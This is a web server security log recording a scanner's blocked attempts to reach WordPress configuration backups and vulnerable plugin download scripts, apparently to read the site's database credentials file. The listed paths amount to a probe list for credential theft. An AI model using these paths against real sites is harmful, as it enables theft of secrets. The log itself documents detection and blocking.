[Sun Dec 07 23:37:13.022488 2025] [:error] [pid 5224:tid 5286] [client 159.26.110.84:37792] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/db-backup/download.php"] [unique_id "aTWfKfAAkbWt7RJBoF8HOwAAAMU"]
[Sun Dec 07 23:37:16.092036 2025] [:error] [pid 5223:tid 5266] [client 159.26.110.84:47564] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/NativeChurch/download/download.php"] [unique_id "aTWfLPoRJa-T0FB0DNoI0QAAAIw"]
[Sun Dec 07 23:37:19.701135 2025] [:error] [pid 5222:tid 5231] [client 159.26.110.84:7374] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.copy"] [unique_id "aTWfL98FU0HgkYWmt7tb_AAAAEU"]
[Sun Dec 07 23:37:21.320713 2025] [:error] [pid 5312:tid 5320] [client 159.26.110.84:42349] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php_copy"] [unique_id "aTWfMeaM49rasZGg_o4gtwAAAAY"]
[Sun Dec 07 23:37:22.984476 2025] [:error] [pid 5222:tid 5242] [client 159.26.110.84:40574] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-filemanager/incl/libfile.php"] [unique_id "aTWfMt8FU0HgkYWmt7tcBQAAAFA"]
[Sun Dec 07 23:37:24.658738 2025] [:error] [pid 5224:tid 5287] [client 159.26.110.84:46958] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.sample"] [unique_id "aTWfNPAAkbWt7RJBoF8HRAAAAMY"]
[Sun Dec 07 23:37:27.979382 2025] [:error] [pid 5224:tid 5291] [client 159.26.110.84:8484] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php3"] [unique_id "aTWfN_AAkbWt7RJBoF8HSAAAAMo"]
[Sun Dec 07 23:37:29.628324 2025] [:error] [pid 5312:tid 5327] [client 159.26.110.84:9269] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.phpd"] [unique_id "aTWfOeaM49rasZGg_o4gvgAAAA0"]
[Sun Dec 07 23:37:31.272248 2025] [:error] [pid 9961:tid 9965] [client 159.26.110.84:58391] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.prod"] [unique_id "aTWfO2Qdnfbgcnzr89KQ0QAAAUI"]
[Sun Dec 07 23:37:32.906153 2025] [:error] [pid 5224:tid 5298] [client 159.26.110.84:34562] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/parallelus-mingle/framework/utilities/download/getfile.php"] [unique_id "aTWfPPAAkbWt7RJBoF8HUgAAANE"]
[Sun Dec 07 23:37:36.600122 2025] [:error] [pid 5222:tid 5248] [client 159.26.110.84:55266] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/sf-booking/lib/downloads.php"] [unique_id "aTWfQN8FU0HgkYWmt7tcGwAAAFY"]
[Sun Dec 07 23:37:38.231386 2025] [:error] [pid 5312:tid 5337] [client 159.26.110.84:12980] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.sav"] [unique_id "aTWfQuaM49rasZGg_o4gyQAAABc"]
[Sun Dec 07 23:37:39.862259 2025] [:error] [pid 5222:tid 5228] [client 159.26.110.84:63675] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.phpnew"] [unique_id "aTWfQ98FU0HgkYWmt7tcHQAAAEI"]
[Sun Dec 07 23:37:41.487606 2025] [:error] [pid 5222:tid 5246] [client 159.26.110.84:34084] [client 159.26.110.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-config.original"] [unique_id "aTWfRd8FU0HgkYWmt7tcIQAAAFQ"]
[Sun Dec 07 23:37:43.120395 2025] [:error] [pid 9961:tid 9966] [client 159.26.110.84:62548] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.b"] [unique_id "aTWfR2Qdnfbgcnzr89KQ2QAAAUM"]
[Sun Dec 07 23:37:44.739638 2025] [:error] [pid 9961:tid 9968] [client 159.26.110.84:51313] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php-save"] [unique_id "aTWfSGQdnfbgcnzr89KQ3QAAAUU"]
[Sun Dec 07 23:37:46.360518 2025] [:error] [pid 5224:tid 5298] [client 159.26.110.84:58244] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.2"] [unique_id "aTWfSvAAkbWt7RJBoF8HYAAAANE"]
[Sun Dec 07 23:37:47.970785 2025] [:error] [pid 5223:tid 5276] [client 159.26.110.84:30827] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.bak1"] [unique_id "aTWfS_oRJa-T0FB0DNoI6AAAAJY"]
[Sun Dec 07 23:37:49.620314 2025] [:error] [pid 9961:tid 9967] [client 159.26.110.84:11889] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.0"] [unique_id "aTWfTWQdnfbgcnzr89KQ4gAAAUQ"]
[Sun Dec 07 23:37:51.247996 2025] [:error] [pid 5223:tid 5271] [client 159.26.110.84:58216] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/site-import/admin/page.php"] [unique_id "aTWfT_oRJa-T0FB0DNoI7AAAAJE"]
[Sun Dec 07 23:37:52.914416 2025] [:error] [pid 5222:tid 5247] [client 159.26.110.84:52955] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aTWfUN8FU0HgkYWmt7tcKAAAAFU"]
[Sun Dec 07 23:37:54.532156 2025] [:error] [pid 9610:tid 9625] [client 159.26.110.84:36946] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.in"] [unique_id "aTWfUsZ4Zl9G0UhQ7w1ekAAAAQ0"]
[Sun Dec 07 23:37:56.151535 2025] [:error] [pid 9610:tid 9636] [client 159.26.110.84:28266] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php%23"] [unique_id "aTWfVMZ4Zl9G0UhQ7w1ekgAAARg"]
[Sun Dec 07 23:37:57.773271 2025] [:error] [pid 9610:tid 9634] [client 159.26.110.84:54992] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php~"] [unique_id "aTWfVcZ4Zl9G0UhQ7w1elQAAARY"]
[Sun Dec 07 23:37:59.396859 2025] [:error] [pid 5223:tid 5277] [client 159.26.110.84:6303] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/recent-backups/download-file.php"] [unique_id "aTWfV_oRJa-T0FB0DNoI7gAAAJc"]
[Sun Dec 07 23:38:01.037030 2025] [:error] [pid 5223:tid 5258] [client 159.26.110.84:23352] [client 159.26.110.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-config.sav"] [unique_id "aTWfWfoRJa-T0FB0DNoI8AAAAIQ"]
[Sun Dec 07 23:38:02.666191 2025] [:error] [pid 5222:tid 5241] [client 159.26.110.84:17306] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/u_parts/force-download.php"] [unique_id "aTWfWt8FU0HgkYWmt7tcLQAAAE8"]
[Sun Dec 07 23:38:04.319164 2025] [:error] [pid 9961:tid 9980] [client 159.26.110.84:51203] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wechat-broadcast/wechat/Image.php"] [unique_id "aTWfXGQdnfbgcnzr89KQ6wAAAVE"]
[Sun Dec 07 23:38:05.965666 2025] [:error] [pid 5312:tid 5315] [client 159.26.110.84:56909] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.tmp"] [unique_id "aTWfXeaM49rasZGg_o4hBAAAAAE"]
[Sun Dec 07 23:38:10.396637 2025] [:error] [pid 9610:tid 9617] [client 159.26.110.84:23767] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php~~"] [unique_id "aTWfYsZ4Zl9G0UhQ7w1epQAAAQU"]
[Sun Dec 07 23:38:12.068647 2025] [:error] [pid 5222:tid 5237] [client 159.26.110.84:46365] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php_bak/wp-config.php-bak"] [unique_id "aTWfZN8FU0HgkYWmt7tcMwAAAEs"]
[Sun Dec 07 23:38:13.681523 2025] [:error] [pid 5223:tid 5268] [client 159.26.110.84:30252] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/parallelus-salutation/framework/utilities/download/getfile.php"] [unique_id "aTWfZfoRJa-T0FB0DNoI-QAAAI4"]
[Sun Dec 07 23:38:15.333310 2025] [:error] [pid 5312:tid 5337] [client 159.26.110.84:20787] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aTWfZ-aM49rasZGg_o4hEgAAABc"]
[Sun Dec 07 23:38:16.988117 2025] [:error] [pid 5222:tid 5242] [client 159.26.110.84:34480] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aTWfaN8FU0HgkYWmt7tcNQAAAFA"]
[Sun Dec 07 23:38:18.621616 2025] [:error] [pid 5224:tid 5292] [client 159.26.110.84:2563] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-miniaudioplayer/map_download.php"] [unique_id "aTWfavAAkbWt7RJBoF8HigAAAMs"]
[Sun Dec 07 23:38:20.255938 2025] [:error] [pid 5224:tid 5288] [client 159.26.110.84:45115] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.wp-config.php.old"] [unique_id "aTWfbPAAkbWt7RJBoF8HjgAAAMc"]
[Sun Dec 07 23:38:21.868451 2025] [:error] [pid 5312:tid 5326] [client 159.26.110.84:7388] [client 159.26.110.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blog/"] [unique_id "aTWfbeaM49rasZGg_o4hHAAAAAw"]
[Sun Dec 07 23:38:23.491760 2025] [:error] [pid 9961:tid 9966] [client 159.26.110.84:38061] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php"] [unique_id "aTWfb2Qdnfbgcnzr89KQ9QAAAUM"]
[Sun Dec 07 23:38:25.107725 2025] [:error] [pid 9610:tid 9628] [client 159.26.110.84:46565] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.bak" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.wp-config.bak"] [unique_id "aTWfccZ4Zl9G0UhQ7w1eqAAAARA"]
[Sun Dec 07 23:38:26.739331 2025] [:error] [pid 5312:tid 5314] [client 159.26.110.84:5864] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.phpa"] [unique_id "aTWfcuaM49rasZGg_o4hHwAAAAA"]
[Sun Dec 07 23:38:28.384594 2025] [:error] [pid 9610:tid 9636] [client 159.26.110.84:8508] [client 159.26.110.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-config.local"] [unique_id "aTWfdMZ4Zl9G0UhQ7w1eqwAAARg"]
[Sun Dec 07 23:38:29.972540 2025] [:error] [pid 5312:tid 5326] [client 159.26.110.84:5707] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php"] [unique_id "aTWfdeaM49rasZGg_o4hMwAAAAw"]
[Sun Dec 07 23:38:31.631848 2025] [:error] [pid 9610:tid 9622] [client 159.26.110.84:23297] [client 159.26.110.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/"] [unique_id "aTWfd8Z4Zl9G0UhQ7w1esAAAAQo"]
[Sun Dec 07 23:38:33.272282 2025] [:error] [pid 5223:tid 5262] [client 159.26.110.84:25543] [client 159.26.110.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-config_backup"] [unique_id "aTWfefoRJa-T0FB0DNoJCgAAAIg"]
[Sun Dec 07 23:38:34.910625 2025] [:error] [pid 9610:tid 9619] [client 159.26.110.84:6691] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/history-collection/download.php"] [unique_id "aTWfesZ4Zl9G0UhQ7w1eugAAAQc"]
[Sun Dec 07 23:38:36.555109 2025] [:error] [pid 5224:tid 5299] [client 159.26.110.84:64236] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.phps"] [unique_id "aTWffPAAkbWt7RJBoF8HmwAAANI"]
[Sun Dec 07 23:38:38.210808 2025] [:error] [pid 5223:tid 5261] [client 159.26.110.84:30756] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/fluidracountry/download.php"] [unique_id "aTWffvoRJa-T0FB0DNoJEwAAAIc"]
[Sun Dec 07 23:38:39.852805 2025] [:error] [pid 5223:tid 5275] [client 159.26.110.84:25002] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.phpb"] [unique_id "aTWff_oRJa-T0FB0DNoJGgAAAJU"]
[Sun Dec 07 23:38:41.732466 2025] [:error] [pid 5222:tid 5242] [client 159.26.110.84:49251] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.production"] [unique_id "aTWfgd8FU0HgkYWmt7tcRQAAAFA"]
[Sun Dec 07 23:38:43.339204 2025] [:error] [pid 5312:tid 5330] [client 159.26.110.84:64299] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.gz"] [unique_id "aTWfg-aM49rasZGg_o4hOAAAABA"]
[Sun Dec 07 23:38:44.949826 2025] [:error] [pid 5223:tid 5274] [client 159.26.110.84:30420] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wordpress/wp-config.php~"] [unique_id "aTWfhPoRJa-T0FB0DNoJIwAAAJQ"]
[Sun Dec 07 23:38:46.560264 2025] [:error] [pid 5224:tid 5298] [client 159.26.110.84:55614] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.phporiginal"] [unique_id "aTWfhvAAkbWt7RJBoF8HoAAAANE"]
[Sun Dec 07 23:38:48.198284 2025] [:error] [pid 5223:tid 5265] [client 159.26.110.84:60879] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php="] [unique_id "aTWfiPoRJa-T0FB0DNoJLgAAAIs"]
[Sun Dec 07 23:38:51.750053 2025] [:error] [pid 9610:tid 9636] [client 159.26.110.84:4382] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aTWfi8Z4Zl9G0UhQ7w1e0AAAARg"]
[Sun Dec 07 23:38:55.233143 2025] [:error] [pid 9610:tid 9615] [client 159.26.110.84:13814] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php-o"] [unique_id "aTWfj8Z4Zl9G0UhQ7w1e1wAAAQM"]
